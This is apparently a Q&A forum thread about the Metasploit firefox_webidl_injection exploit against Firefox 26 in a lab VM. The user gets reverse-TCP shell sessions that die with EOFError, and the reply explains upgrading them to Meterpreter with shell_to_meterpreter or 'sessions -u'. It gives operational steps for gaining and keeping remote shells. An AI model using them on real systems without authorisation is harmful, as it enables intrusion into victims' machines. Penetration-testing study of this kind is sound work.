I am using the multi/browser/firefox_webidl_injection exploit to attack Firefox 26 on a linux VM. I have tried using it with the following payloads: 1) firefox/shell_reverse_tcp and 2) generic/shell_reverse_tcp.

My problem is that I get the message that Command shell session opened but if I wait some time, or try to interact with that session I get the Command shell session closed. Reason: Died from EOFError

With some googling I found that this error probably means that the payload is not executed successfully, but is that correct? Also, what can I do to solve this error?

The options I use are:

msf exploit(firefox_webidl_injection) > options

Module options (exploit/multi/browser/firefox_webidl_injection):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CONTENT                   no        Content to display inside the HTML <body>.
   Retries  true             no        Allow the browser to retry the module
   SRVHOST          yes       The local host to listen on. This must be an address on the local machine or
   SRVPORT  80               yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)

Payload options (firefox/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST         yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Universal (Javascript XPCOM Shell)
  • After doing a session upgrade I successfully get a meterpreter session but how can I make the shell session work? – Sotiris K Oct 2 '17 at 12:10

You should upgrade the session to a meterpreter session before the firefox session dies by using:

use post/multi/manage/shell_to_meterpreter

and set the session id of the firefox session:

set session <id>

and then run it:


That will upgrade the session to a meterpreter one. You interact with it by using the command

sessions -i <id>

Then if you want to come into the OS native shell, you can write shell from the meterpreter session


An easier solution to upgrade sessions to a meterpreter one is:

sessions -u <id>

where id is the firefox session id on your case

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.